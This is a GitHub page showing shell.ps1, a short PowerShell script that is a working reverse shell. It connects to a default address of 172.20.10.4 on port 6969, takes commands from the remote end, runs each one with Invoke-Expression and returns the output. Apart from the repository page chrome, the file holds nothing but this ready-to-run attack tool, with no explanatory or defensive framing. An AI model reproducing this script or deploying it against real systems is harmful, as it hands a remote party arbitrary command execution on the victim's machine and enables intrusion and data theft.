-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell.ps1
More file actions
24 lines (22 loc) · 694 Bytes
/
Copy pathshell.ps1
File metadata and controls
24 lines (22 loc) · 694 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
param (
[string]$i = '172.20.10.4',
[int]$p = 6969
)
try {
$client = New-Object System.Net.Sockets.TCPClient($i, $p);
$stream = $client.GetStream();
$writer = New-Object System.IO.StreamWriter($stream);
$writer.AutoFlush = $true;
$buffer = New-Object System.Byte[] 1024;
$encoding = New-Object System.Text.AsciiEncoding;
while (($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
$command = $encoding.GetString($buffer, 0, $bytesRead);
$result = Invoke-Expression $command 2>&1 | Out-String;
$writer.Write($result);
$writer.Flush();
}
} catch {
Write-Host "Error: $_"
} finally {
$client.Close();
}